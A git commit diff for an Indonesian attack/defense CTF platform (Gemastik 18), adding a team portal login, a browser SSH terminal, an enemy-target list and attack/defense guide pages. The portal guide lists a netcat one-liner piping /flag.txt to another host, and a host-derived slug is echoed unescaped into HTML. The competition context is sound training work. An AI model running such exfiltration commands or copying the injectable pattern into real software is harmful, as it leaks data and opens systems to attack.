feat: team portal with own login, SSH web terminal, targets & guide
- Portal tim punya login sendiri (password = ssh_pass, session team_token)
- SSH Web GUI: /api/team/{idx}/ssh/ws (WebSocket+paramiko) → xterm.js terminal
(fix: ssh_to_ws non-blocking poll, chall_passwords per-container auth)
- Root <slug>.gemastik.imrnes.team → portal tim (bukan login admin)
- Host validation: /team/{idx} & /team/{idx}/guide 403 kalau host != team domain
- /api/team/{idx}/targets: daftar service tim musuh (attack target)
- guide.html: panduan SSH/attack/defense untuk peserta
- fix esc() String(s) (bug: (s||'').replace is not a function saat port number)
- set_ssh_passwords retry loop (container boot race)
This commit is contained in:
+198
-7
@@ -7,9 +7,10 @@ admin credentials stay out of the browser.
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import asyncio
|
||||
import httpx
|
||||
from pathlib import Path
|
||||
from fastapi import FastAPI, Request, HTTPException
|
||||
from fastapi import FastAPI, Request, HTTPException, WebSocket, WebSocketDisconnect
|
||||
from fastapi.responses import HTMLResponse, JSONResponse, RedirectResponse
|
||||
from fastapi.staticfiles import StaticFiles
|
||||
from typing import Optional
|
||||
@@ -79,6 +80,16 @@ async def _proxy(method: str, path: str, body: dict = None):
|
||||
|
||||
@app.get("/", response_class=HTMLResponse)
|
||||
async def index(req: Request):
|
||||
host = (req.headers.get("host") or "").split(":")[0]
|
||||
# Team portal domains: <slug>.gemastik.imrnes.team -> their team portal (no admin login)
|
||||
if host.endswith(".gemastik.imrnes.team") and host != "gemastik.imrnes.team" and host != "panel.gemastik.imrnes.team":
|
||||
slug = host.split(".")[0]
|
||||
for t in orch.list_teams():
|
||||
if t.get("slug") == slug:
|
||||
html = (BASE_DIR / "static" / "team.html").read_text()
|
||||
html = html.replace('name="team-id" content="0"', f'name="team-id" content="{t["index"]}"')
|
||||
return HTMLResponse(html)
|
||||
return HTMLResponse("<h2 style='font-family:sans-serif;color:#888;padding:40px'>Team tidak ditemukan: " + slug + "</h2>", status_code=404)
|
||||
if not _authorized(req):
|
||||
return RedirectResponse("/login")
|
||||
html = (BASE_DIR / "static" / "index.html").read_text()
|
||||
@@ -100,20 +111,109 @@ async def submit_page(req: Request):
|
||||
|
||||
@app.get("/team/{idx}", response_class=HTMLResponse)
|
||||
async def team_portal(idx: int, req: Request):
|
||||
"""Public portal page for a team (served at <slug>.gemastik.imrnes.team/team/<idx>)."""
|
||||
"""Public portal page for a team. Must be accessed via that team's own domain."""
|
||||
td = orch.TEAMS_DIR / f"team{idx}"
|
||||
if not (td / "state.json").exists():
|
||||
raise HTTPException(404, "Team not found")
|
||||
st = json.loads((td / "state.json").read_text())
|
||||
host = (req.headers.get("host") or "").split(":")[0]
|
||||
# host check: allow panel domain (uses explicit /team/N link for admin preview)
|
||||
# and the team's own <slug>.domain; block cross-team access.
|
||||
if not (host == f"panel.gemastik.imrnes.team" or host == f"gemastik.imrnes.team"
|
||||
or host == st.get("domain") or host.startswith("127.0.0.1") or host.startswith("localhost")):
|
||||
raise HTTPException(403, "Akses team lain tidak diizinkan")
|
||||
html = (BASE_DIR / "static" / "team.html").read_text()
|
||||
html = html.replace('name="team-id" content="0"', f'name="team-id" content="{idx}"')
|
||||
return HTMLResponse(html)
|
||||
|
||||
|
||||
@app.get("/team/{idx}/guide", response_class=HTMLResponse)
|
||||
async def team_guide(idx: int, req: Request):
|
||||
"""Public SSH/attack guide for a team. Must be accessed via that team's own domain."""
|
||||
td = orch.TEAMS_DIR / f"team{idx}"
|
||||
st = json.loads((td / "state.json").read_text()) if (td / "state.json").exists() else {}
|
||||
host = (req.headers.get("host") or "").split(":")[0]
|
||||
if not (host == f"panel.gemastik.imrnes.team" or host == f"gemastik.imrnes.team"
|
||||
or host == st.get("domain") or host.startswith("127.0.0.1") or host.startswith("localhost")):
|
||||
raise HTTPException(403, "Akses team lain tidak diizinkan")
|
||||
html = (BASE_DIR / "static" / "guide.html").read_text()
|
||||
html = html.replace('name="team-id" content="0"', f'name="team-id" content="{idx}"')
|
||||
return HTMLResponse(html)
|
||||
|
||||
# ---- Team portal login (separate from admin; password = team ssh_pass) ----
|
||||
_team_sessions: dict[str, tuple[int, float]] = {} # token -> (idx, expiry)
|
||||
|
||||
@app.post("/api/team/{idx}/login")
|
||||
async def api_team_login(idx: int, req: Request):
|
||||
td = orch.TEAMS_DIR / f"team{idx}"
|
||||
if not (td / "state.json").exists():
|
||||
raise HTTPException(404, "Team not found")
|
||||
st = json.loads((td / "state.json").read_text())
|
||||
data = await req.json()
|
||||
pw = data.get("pass", "")
|
||||
if pw != st.get("ssh_pass"):
|
||||
raise HTTPException(401, "Password salah")
|
||||
token = os.urandom(16).hex()
|
||||
_team_sessions[token] = (idx, time.time() + 12 * 3600)
|
||||
resp = JSONResponse({"ok": True, "team": idx})
|
||||
resp.set_cookie("team_token", token, httponly=True, samesite="lax", max_age=12 * 3600)
|
||||
return resp
|
||||
|
||||
@app.post("/api/team/logout")
|
||||
async def api_team_logout(req: Request):
|
||||
token = req.cookies.get("team_token")
|
||||
if token:
|
||||
_team_sessions.pop(token, None)
|
||||
return {"ok": True}
|
||||
|
||||
def _team_authorized(req: Request, idx: int) -> bool:
|
||||
token = req.cookies.get("team_token")
|
||||
if not token:
|
||||
return False
|
||||
e = _team_sessions.get(token)
|
||||
if not e or e[0] != idx or e[1] < time.time():
|
||||
_team_sessions.pop(token, None)
|
||||
return False
|
||||
return True
|
||||
|
||||
@app.get("/api/team/{idx}/session")
|
||||
async def api_team_session(idx: int, req: Request):
|
||||
"""True when this browser has a valid team session for idx."""
|
||||
return {"authed": _team_authorized(req, idx)}
|
||||
|
||||
@app.get("/api/team/{idx}/targets")
|
||||
async def api_team_targets(idx: int, req: Request):
|
||||
"""Public: list of enemy teams' services (attack targets) for this team's portal."""
|
||||
out = []
|
||||
for d in sorted(orch.TEAMS_DIR.glob("team*")):
|
||||
if not (d / "state.json").exists():
|
||||
continue
|
||||
st = json.loads((d / "state.json").read_text())
|
||||
if st.get("index") == idx:
|
||||
continue # skip self
|
||||
for name, coff, soff in orch.CHALLENGES:
|
||||
p = st["ports"].get(name)
|
||||
if not p:
|
||||
continue
|
||||
out.append({
|
||||
"team": st.get("label", f"Team {st.get('index')}"),
|
||||
"team_idx": st.get("index"),
|
||||
"domain": st.get("domain"),
|
||||
"challenge": name,
|
||||
"port": p["chall"],
|
||||
"ssh": p["ssh"],
|
||||
})
|
||||
return {"targets": out}
|
||||
|
||||
@app.get("/api/team/{idx}/info")
|
||||
async def api_team_info(idx: int):
|
||||
"""Public: basic team info for the portal (no secrets besides per-team SSH creds)."""
|
||||
async def api_team_info(idx: int, req: Request):
|
||||
"""Team portal info — requires team login; no admin secrets."""
|
||||
if not _team_authorized(req, idx):
|
||||
raise HTTPException(401, "Login portal team dulu")
|
||||
td = orch.TEAMS_DIR / f"team{idx}"
|
||||
if not (td / "state.json").exists():
|
||||
raise HTTPException(404, "Team not found")
|
||||
st = json.loads((td / "state.json").read_text())
|
||||
# expose only what a team needs: label, domain, ports, ssh creds, status
|
||||
return {"team": {
|
||||
"index": st.get("index"),
|
||||
"label": st.get("label"),
|
||||
@@ -122,7 +222,7 @@ async def api_team_info(idx: int):
|
||||
"status": st.get("status"),
|
||||
"ports": st.get("ports"),
|
||||
"ssh_user": st.get("ssh_user"),
|
||||
"ssh_pass": st.get("ssh_pass"),
|
||||
"ssh_pass": st.get("ssh_pass"), # same password used to login portal + SSH
|
||||
}}
|
||||
|
||||
|
||||
@@ -416,4 +516,95 @@ async def api_leaderboard(req: Request):
|
||||
@app.get("/api/public/teams")
|
||||
async def api_public_teams():
|
||||
"""Public list of team names (for the submit dropdown)."""
|
||||
return {"teams": [{"index": t["index"], "label": t.get("label", f"Team {t['index']}")} for t in orch.list_teams()]}
|
||||
return {"teams": [{"index": t["index"], "label": t.get("label", f"Team {t['index']}")} for t in orch.list_teams()]}
|
||||
|
||||
|
||||
# ============ WebSocket SSH terminal (team portal) ============
|
||||
import paramiko
|
||||
import websockets
|
||||
|
||||
@app.websocket("/api/team/{idx}/ssh/ws")
|
||||
async def team_ssh_ws(ws: WebSocket, idx: int):
|
||||
chall = ws.query_params.get("chall", "")
|
||||
# auth: team session cookie must match this team
|
||||
token = ws.cookies.get("team_token")
|
||||
e = _team_sessions.get(token or "")
|
||||
if not e or e[0] != idx or e[1] < time.time():
|
||||
await ws.close(code=4001, reason="unauthorized")
|
||||
return
|
||||
td = orch.TEAMS_DIR / f"team{idx}"
|
||||
st = json.loads((td / "state.json").read_text())
|
||||
if chall not in st.get("ports", {}):
|
||||
await ws.close(code=4002, reason="unknown challenge")
|
||||
return
|
||||
recv_port = st["ports"][chall]["ssh"]
|
||||
user = st.get("ssh_user", "ctfuser")
|
||||
# each challenge container has its own password (chall_passwords);
|
||||
# ssh_pass is the portal login password (may differ).
|
||||
pw = st.get("chall_passwords", {}).get(chall) or st.get("ssh_pass", "")
|
||||
await ws.accept()
|
||||
chan = client = None
|
||||
try:
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
loop = asyncio.get_event_loop()
|
||||
await loop.run_in_executor(
|
||||
None, lambda: client.connect("127.0.0.1", port=recv_port, username=user,
|
||||
password=pw, timeout=10, allow_agent=False,
|
||||
look_for_keys=False))
|
||||
chan = client.invoke_shell(term="xterm-256color", width=120, height=32)
|
||||
|
||||
async def ws_to_ssh():
|
||||
while True:
|
||||
try:
|
||||
msg = await ws.receive_text()
|
||||
except Exception:
|
||||
break
|
||||
if msg.startswith("__resize__"):
|
||||
try:
|
||||
_, cols, rows = msg.split(":", 2)
|
||||
chan.resize_pty(int(cols), int(rows))
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
chan.send(msg)
|
||||
except Exception:
|
||||
break
|
||||
|
||||
async def ssh_to_ws():
|
||||
# non-blocking poll: chan.recv() di dalam async task akan
|
||||
# memblokir seluruh event loop (deadlock) — jadi poll recv_ready.
|
||||
while True:
|
||||
try:
|
||||
if chan.recv_ready():
|
||||
data = chan.recv(4096)
|
||||
if not data:
|
||||
break
|
||||
await ws.send_text(data.decode("utf-8", "replace"))
|
||||
elif chan.closed:
|
||||
break
|
||||
except Exception:
|
||||
break
|
||||
await asyncio.sleep(0.03)
|
||||
|
||||
t1 = asyncio.create_task(ws_to_ssh())
|
||||
t2 = asyncio.create_task(ssh_to_ws())
|
||||
done, pending = await asyncio.wait({t1, t2}, return_when=asyncio.FIRST_COMPLETED)
|
||||
for t in pending:
|
||||
t.cancel()
|
||||
except Exception as e:
|
||||
try:
|
||||
await ws.send_text(f"\r\n[ssh error] {e}\r\n")
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
if chan: chan.close()
|
||||
except Exception: pass
|
||||
try:
|
||||
if client: client.close()
|
||||
except Exception: pass
|
||||
try:
|
||||
await ws.close()
|
||||
except Exception: pass
|
||||
@@ -0,0 +1,108 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="id">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta name="team-id" content="0">
|
||||
<title>Panduan SSH — Gemastik A/D</title>
|
||||
<style>
|
||||
:root { --bg:#0b0e14; --panel:#151a23; --panel2:#1d2430; --line:#2a3444; --txt:#e6edf3; --dim:#8b98a9; --accent:#38bdf8; --green:#34d399; --red:#f87171; --purple:#a78bfa; }
|
||||
* { margin:0; padding:0; box-sizing:border-box; }
|
||||
body { background:var(--bg); color:var(--txt); font-family:'Segoe UI',system-ui,sans-serif; min-height:100vh; }
|
||||
.wrap { max-width:800px; margin:0 auto; padding:24px 16px 60px; }
|
||||
header { display:flex; align-items:center; gap:12px; margin-bottom:24px; flex-wrap:wrap; }
|
||||
.logo { width:42px; height:42px; border-radius:10px; background:linear-gradient(135deg,#38bdf8,#6366f1); display:flex; align-items:center; justify-content:center; font-weight:800; font-size:20px; color:#fff; }
|
||||
h1 { font-size:22px; }
|
||||
.sub { color:var(--dim); font-size:13px; }
|
||||
.card { background:var(--panel); border:1px solid var(--line); border-radius:14px; padding:20px; margin-bottom:16px; }
|
||||
.card h2 { font-size:15px; margin-bottom:12px; color:var(--accent); }
|
||||
h3 { color:var(--purple); margin:18px 0 8px; font-size:14px; }
|
||||
p, li { font-size:13px; color:#c9d4e3; line-height:1.7; }
|
||||
ol, ul { padding-left:20px; }
|
||||
.sshbox { background:var(--panel2); border:1px solid var(--line); border-radius:8px; padding:10px 12px; font-family:ui-monospace,monospace; font-size:12px; overflow-x:auto; margin:6px 0; }
|
||||
code { background:var(--panel2); padding:2px 6px; border-radius:5px; font-size:12px; }
|
||||
.warn { background:#3a1414; border:1px solid var(--red); border-radius:8px; padding:12px; font-size:13px; color:#fca5a5; margin:10px 0; }
|
||||
a { color:var(--accent); }
|
||||
table { width:100%; border-collapse:collapse; font-size:13px; margin:8px 0; }
|
||||
th, td { text-align:left; padding:8px 6px; border-bottom:1px solid var(--line); }
|
||||
th { color:var(--dim); font-weight:500; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="wrap">
|
||||
<header>
|
||||
<div class="logo">G</div>
|
||||
<div style="flex:1">
|
||||
<h1>📖 Panduan SSH & Attack</h1>
|
||||
<div class="sub">Gemastik 18 Final — Attack & Defense</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="card">
|
||||
<h2>🎯 Konsep Attack & Defense</h2>
|
||||
<p>Setiap tim punya <b>6 challenge container</b> yang harus dijaga (<b>defense</b>) dan bisa menyerang container tim lain (<b>attack</b>). Setiap container menyimpan <b>flag</b> yang nilainya dicek panitia secara berkala (SLA). Kalau service mati atau flag berubah, tim kamu <b>kehilangan poin SLA</b>.</p>
|
||||
<p style="margin-top:8px">Kamu menang dengan: (1) menjaga service tetap hidup, (2) <b>mencuri flag</b> dari tim lawan dan submit, (3) mencegah tim lawan mencuri flag kamu.</p>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>🔐 Login SSH</h2>
|
||||
<h3>Cara 1 — Web Terminal di Portal Tim</h3>
|
||||
<ol>
|
||||
<li>Buka <b>portal tim kamu</b> (domain dari panitia).</li>
|
||||
<li>Login dengan <b>password SSH tim</b>.</li>
|
||||
<li>Tab <b>🖥️ Terminal SSH</b> → pilih challenge → <b>Sambung</b>.</li>
|
||||
<li>Langsung masuk sebagai <code>ctfuser</code> — tanpa perlu aplikasi SSH.</li>
|
||||
</ol>
|
||||
<h3>Cara 2 — SSH Client (opsional)</h3>
|
||||
<div class="sshbox">ssh ctfuser@43.134.105.109 -p <PORT_SSH></div>
|
||||
<p>Contoh: untuk challenge <code>blogpost</code> tim 1, port SSH = <code>31022</code>.</p>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>🧭 Command Penting</h2>
|
||||
<table>
|
||||
<tr><th>Command</th><th>Fungsi</th></tr>
|
||||
<tr><td><code>cat /flag.txt</code></td><td>Lihat flag tim kamu sendiri</td></tr>
|
||||
<tr><td><code>ls /app /srv /opt /home</code></td><td>Cari file source/service</td></tr>
|
||||
<tr><td><code>ps aux</code></td><td>Lihat proses yang berjalan</td></tr>
|
||||
<tr><td><code>ss -tlnp</code></td><td>Lihat port yang dibuka service</td></tr>
|
||||
<tr><td><code>systemctl status</code></td><td>Cek service (kalau ada)</td></tr>
|
||||
<tr><td><code>cat /etc/passwd</code></td><td>Daftar user lokal</td></tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>⚔️ Alur Attack</h2>
|
||||
<ol>
|
||||
<li>Buka tab <b>🎯 Target Musuh</b> di portal — lihat daftar domain/port tim lain.</li>
|
||||
<li>Analisa service lawan dari <b>source code di container kamu sendiri</b> (biasanya sama).</li>
|
||||
<li>Cari vuln (SSTI, path traversal, RCE, crypto oracle, dsb).</li>
|
||||
<li>Exploit service lawan → baca <code>/flag.txt</code> mereka.</li>
|
||||
<li>Submit flag di tab <b>🚩 Submit Flag</b> → <b>poin masuk ke leaderboard</b>.</li>
|
||||
</ol>
|
||||
<div class="warn">⚠️ Jangan sampai flag tim kamu bocor! Ganti password SSH rutin (via panitia), dan jangan tinggalkan flag di tempat umum.</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>🛡️ Alur Defense</h2>
|
||||
<ol>
|
||||
<li>Pastikan service <b>selalu hidup</b> — SLA dicek panitia berkala.</li>
|
||||
<li>Patch vuln yang bisa dipakai lawan (jika tahu).</li>
|
||||
<li>Jangan ubah <code>/flag.txt</code> — mount <b>read-only</b>, tidak bisa diubah dari dalam container.</li>
|
||||
<li>Pantau <code>ps aux</code> / log — kalau ada aktivitas mencurigakan, restart via panitia.</li>
|
||||
</ol>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>📞 Butuh Bantuan?</h2>
|
||||
<p>Hubungi panitia untuk: reset password SSH, restart container, atau lapor service down. Portal ini untuk peserta — panel admin terpisah.</p>
|
||||
<p style="margin-top:8px"><a href="/team/0" id="portalLink">← Kembali ke portal tim</a></p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const TEAM_ID = parseInt(document.querySelector('meta[name="team-id"]').content || '0', 10);
|
||||
document.getElementById('portalLink').href = `/team/${TEAM_ID}`;
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -238,7 +238,7 @@ function toast(msg, err=false) {
|
||||
}
|
||||
|
||||
function esc(s) {
|
||||
return (s||'').replace(/[&<>"']/g, c => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
|
||||
return String(s ?? '').replace(/[&<>"']/g, c => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[c]));
|
||||
}
|
||||
|
||||
function showView(v) {
|
||||
|
||||
+246
-56
@@ -3,17 +3,21 @@
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Portal Team — Gemastik A/D</title>
|
||||
<meta name="team-id" content="0">
|
||||
<title>Portal Tim — Gemastik A/D</title>
|
||||
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/xterm@5.3.0/css/xterm.min.css">
|
||||
<script src="https://cdn.jsdelivr.net/npm/xterm@5.3.0/lib/xterm.min.js"></script>
|
||||
<style>
|
||||
:root { --bg:#0b0e14; --panel:#151a23; --panel2:#1d2430; --line:#2a3444; --txt:#e6edf3; --dim:#8b98a9; --accent:#38bdf8; --green:#34d399; --red:#f87171; }
|
||||
:root { --bg:#0b0e14; --panel:#151a23; --panel2:#1d2430; --line:#2a3444; --txt:#e6edf3; --dim:#8b98a9; --accent:#38bdf8; --green:#34d399; --red:#f87171; --purple:#a78bfa; }
|
||||
* { margin:0; padding:0; box-sizing:border-box; }
|
||||
body { background:var(--bg); color:var(--txt); font-family:'Segoe UI',system-ui,sans-serif; min-height:100vh; }
|
||||
.wrap { max-width:900px; margin:0 auto; padding:24px 16px 60px; }
|
||||
.wrap { max-width:1000px; margin:0 auto; padding:24px 16px 60px; }
|
||||
header { display:flex; align-items:center; gap:12px; margin-bottom:24px; flex-wrap:wrap; }
|
||||
.logo { width:42px; height:42px; border-radius:10px; background:linear-gradient(135deg,#38bdf8,#6366f1); display:flex; align-items:center; justify-content:center; font-weight:800; font-size:20px; color:#fff; }
|
||||
h1 { font-size:22px; }
|
||||
.sub { color:var(--dim); font-size:13px; }
|
||||
.badge { background:#06352a; border:1px solid var(--green); color:var(--green); border-radius:20px; padding:3px 12px; font-size:12px; font-weight:600; }
|
||||
.badge.stopped { background:#3a1414; border-color:var(--red); color:var(--red); }
|
||||
.card { background:var(--panel); border:1px solid var(--line); border-radius:14px; padding:20px; margin-bottom:16px; }
|
||||
.card h2 { font-size:15px; margin-bottom:12px; color:var(--accent); }
|
||||
.kv { display:grid; grid-template-columns:150px 1fr; gap:6px 12px; font-size:13px; margin-bottom:4px; }
|
||||
@@ -25,13 +29,37 @@
|
||||
.dot { display:inline-block; width:8px; height:8px; border-radius:50%; margin-right:6px; }
|
||||
.dot.up { background:var(--green); } .dot.down { background:var(--red); }
|
||||
label { display:block; font-size:12px; color:var(--dim); margin:12px 0 5px; }
|
||||
select, input { width:100%; padding:10px 12px; border-radius:8px; border:1px solid var(--line); background:var(--panel2); color:var(--txt); font-size:14px; }
|
||||
button { margin-top:16px; width:100%; padding:12px; border:none; border-radius:8px; background:linear-gradient(135deg,#38bdf8,#6366f1); color:#fff; font-weight:600; font-size:15px; cursor:pointer; }
|
||||
select, input[type=text], input[type=password] { width:100%; padding:10px 12px; border-radius:8px; border:1px solid var(--line); background:var(--panel2); color:var(--txt); font-size:14px; }
|
||||
button { padding:12px 16px; border:none; border-radius:8px; background:linear-gradient(135deg,#38bdf8,#6366f1); color:#fff; font-weight:600; font-size:14px; cursor:pointer; }
|
||||
button:hover { filter:brightness(1.1); }
|
||||
button.ghost { background:var(--panel2); border:1px solid var(--line); color:var(--txt); }
|
||||
#result { margin-top:14px; padding:12px; border-radius:8px; display:none; font-size:14px; }
|
||||
#result.ok { display:block; background:#06352a; border:1px solid var(--green); color:var(--green); }
|
||||
#result.err { display:block; background:#3a1414; border:1px solid var(--red); color:var(--red); }
|
||||
.sshbox { background:var(--panel2); border:1px solid var(--line); border-radius:8px; padding:10px 12px; font-family:ui-monospace,monospace; font-size:12px; overflow-x:auto; }
|
||||
/* login */
|
||||
#loginScreen { max-width:420px; margin:80px auto; }
|
||||
#loginScreen .card { padding:32px; }
|
||||
#loginScreen h2 { text-align:center; margin-bottom:6px; }
|
||||
#loginScreen .hint { text-align:center; color:var(--dim); font-size:12px; margin-bottom:18px; }
|
||||
.login-err { color:var(--red); font-size:13px; margin-top:10px; display:none; }
|
||||
/* tabs */
|
||||
.tabs { display:flex; gap:8px; margin-bottom:16px; flex-wrap:wrap; }
|
||||
.tabs button { background:var(--panel2); border:1px solid var(--line); color:var(--dim); font-weight:500; }
|
||||
.tabs button.active { background:linear-gradient(135deg,#38bdf8,#6366f1); color:#fff; border-color:transparent; }
|
||||
.view { display:none; }
|
||||
.view.active { display:block; }
|
||||
/* terminal */
|
||||
#termWrap { background:#0d1117; border:1px solid var(--line); border-radius:10px; padding:8px; height:480px; }
|
||||
#term { height:100%; }
|
||||
.term-toolbar { display:flex; gap:8px; align-items:center; margin-bottom:10px; flex-wrap:wrap; }
|
||||
#termStatus { font-size:12px; color:var(--dim); }
|
||||
code { background:var(--panel2); padding:2px 6px; border-radius:5px; font-size:12px; }
|
||||
.guide h3 { color:var(--purple); margin:18px 0 8px; font-size:14px; }
|
||||
.guide p, .guide li { font-size:13px; color:#c9d4e3; line-height:1.7; }
|
||||
.guide ol, .guide ul { padding-left:20px; }
|
||||
.login-note { font-size:12px; color:var(--dim); margin-top:14px; text-align:center; }
|
||||
.login-note a { color:var(--accent); }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
@@ -43,70 +71,233 @@
|
||||
<div class="sub" id="teamDomain"></div>
|
||||
</div>
|
||||
<span class="badge" id="teamStatus">…</span>
|
||||
<button class="ghost" id="logoutBtn" style="display:none" onclick="logout()">Keluar</button>
|
||||
</header>
|
||||
|
||||
<div class="card">
|
||||
<h2>🌐 Akses Server Tim Kamu</h2>
|
||||
<div id="accessBox" class="sshbox">Memuat…</div>
|
||||
<div style="margin-top:12px;font-size:12px;color:var(--dim)">
|
||||
Tiap challenge punya port sendiri. SSH login: <b>ctfuser</b> + password dari panel panitia.
|
||||
<!-- LOGIN -->
|
||||
<div id="loginScreen">
|
||||
<div class="card">
|
||||
<h2>🔐 Login Portal Tim</h2>
|
||||
<div class="hint" id="loginHint">Masukkan <b>password SSH tim</b> kamu (dari panitia)</div>
|
||||
<label>Password Tim</label>
|
||||
<input type="password" id="loginPass" placeholder="password SSH tim" autocomplete="off">
|
||||
<button onclick="doLogin()" style="width:100%;margin-top:16px">Masuk Portal</button>
|
||||
<div class="login-err" id="loginErr"></div>
|
||||
<div class="login-note">Belum punya password? Hubungi panitia.<br>Tutorial SSH: <a href="/team/0/guide" id="guideLink">baca panduan</a></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>📊 Status Challenge</h2>
|
||||
<table>
|
||||
<thead><tr><th>Challenge</th><th>Port</th><th>SSH</th><th>Status</th></tr></thead>
|
||||
<tbody id="statusBody"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- PORTAL -->
|
||||
<div id="portalScreen" style="display:none">
|
||||
<div class="tabs">
|
||||
<button class="active" data-view="term" onclick="showView('term')">🖥️ Terminal SSH</button>
|
||||
<button data-view="targets" onclick="showView('targets')">🎯 Target Musuh</button>
|
||||
<button data-view="submit" onclick="showView('submit')">🚩 Submit Flag</button>
|
||||
<button data-view="guide" onclick="showView('guide')">📖 Panduan SSH</button>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<h2>🚩 Submit Flag</h2>
|
||||
<label>Challenge</label>
|
||||
<select id="challenge">
|
||||
<option value="blogpost">blogpost (web)</option>
|
||||
<option value="carbeat">carbeat (pwn)</option>
|
||||
<option value="cdn">cdn (web)</option>
|
||||
<option value="phew">phew (crypto)</option>
|
||||
<option value="sheesh">sheesh (crypto)</option>
|
||||
<option value="warmup">warmup</option>
|
||||
</select>
|
||||
<label>Flag</label>
|
||||
<input id="flag" placeholder="GEMASTIK18{...}" autocomplete="off">
|
||||
<button onclick="submitFlag()">Submit Flag</button>
|
||||
<div id="result"></div>
|
||||
<div class="view active" id="view-term">
|
||||
<div class="card">
|
||||
<h2>🖥️ SSH Terminal — pilih challenge</h2>
|
||||
<div class="term-toolbar">
|
||||
<select id="termChall" style="width:200px" onchange="connectTerm()">
|
||||
<option value="blogpost">blogpost (web)</option>
|
||||
<option value="carbeat">carbeat (pwn)</option>
|
||||
<option value="cdn">cdn (web)</option>
|
||||
<option value="phew">phew (crypto)</option>
|
||||
<option value="sheesh">sheesh (crypto)</option>
|
||||
<option value="warmup">warmup</option>
|
||||
</select>
|
||||
<button class="ghost" onclick="connectTerm()">🔄 Sambung</button>
|
||||
<span id="termStatus">Belum tersambung</span>
|
||||
</div>
|
||||
<div id="termWrap"><div id="term"></div></div>
|
||||
<div style="margin-top:10px;font-size:12px;color:var(--dim)">
|
||||
SSH otomatis login sebagai <code>ctfuser</code> ke container challenge timmu. Koneksi diputus setelah idle.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="view" id="view-targets">
|
||||
<div class="card">
|
||||
<h2>🎯 Target Musuh</h2>
|
||||
<p style="font-size:13px;color:var(--dim);margin-bottom:12px">Service challenge tim lain — inilah yang harus kamu attack & curi flagnya.</p>
|
||||
<div id="targetList" class="sshbox">Memuat…</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="view" id="view-submit">
|
||||
<div class="card">
|
||||
<h2>🚩 Submit Flag</h2>
|
||||
<label>Challenge</label>
|
||||
<select id="challenge">
|
||||
<option value="blogpost">blogpost (web)</option>
|
||||
<option value="carbeat">carbeat (pwn)</option>
|
||||
<option value="cdn">cdn (web)</option>
|
||||
<option value="phew">phew (crypto)</option>
|
||||
<option value="sheesh">sheesh (crypto)</option>
|
||||
<option value="warmup">warmup</option>
|
||||
</select>
|
||||
<label>Flag</label>
|
||||
<input type="text" id="flag" placeholder="GEMASTIK18{...}" autocomplete="off">
|
||||
<button onclick="submitFlag()" style="width:100%;margin-top:16px">Submit Flag</button>
|
||||
<div id="result"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="view" id="view-guide">
|
||||
<div class="card guide">
|
||||
<h2>📖 Panduan SSH & Attack</h2>
|
||||
<h3>1. Apa itu SSH di sini?</h3>
|
||||
<p>Setiap challenge punya service yang harus kamu <b>pertahankan</b> (defense) dan service tim lain yang harus kamu <b>serang</b> (attack). SSH container adalah akses administratif ke challenge tim kamu — untuk riset, patch, atau recovery.</p>
|
||||
|
||||
<h3>2. Login via Web Terminal</h3>
|
||||
<ol>
|
||||
<li>Buka tab <b>🖥️ Terminal SSH</b>.</li>
|
||||
<li>Pilih challenge (misal <code>blogpost</code>).</li>
|
||||
<li>Klik <b>Sambung</b> — otomatis login sebagai <code>ctfuser</code>.</li>
|
||||
</ol>
|
||||
|
||||
<h3>3. Login via SSH biasa (opsional)</h3>
|
||||
<div class="sshbox">ssh ctfuser@43.134.105.109 -p <PORT_SSH>
|
||||
# password = password tim kamu</div>
|
||||
|
||||
<h3>4. Command yang berguna</h3>
|
||||
<ul>
|
||||
<li><code>cat /flag.txt</code> — flag <b>tim kamu sendiri</b> (jangan bocorin!)</li>
|
||||
<li><code>ls /app /srv /opt</code> — cari source code challenge</li>
|
||||
<li><code>ps aux</code> — lihat proses service</li>
|
||||
<li><code>cat /flag.txt | nc <ip_tim_lawan> <port_chall></code> — kirim flag kamu 🤫</li>
|
||||
</ul>
|
||||
|
||||
<h3>5. Alur Attack</h3>
|
||||
<ol>
|
||||
<li>Cari vuln di challenge (SSTI, path traversal, crypto oracle, dll).</li>
|
||||
<li>Exploit service <b>tim lawan</b> — lihat tab <b>🎯 Target Musuh</b>.</li>
|
||||
<li>Baca flag dari container/service lawan.</li>
|
||||
<li>Submit flag di tab <b>🚩 Submit Flag</b> → dapat poin.</li>
|
||||
</ol>
|
||||
|
||||
<h3>6. Aturan</h3>
|
||||
<ul>
|
||||
<li>Jangan ubah flag tim sendiri (mount read-only).</li>
|
||||
<li>Jangan matikan service tim sendiri — SLA dicek panitia.</li>
|
||||
<li>Flag yang valid: <code>GEMASTIK18{...}</code>.</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
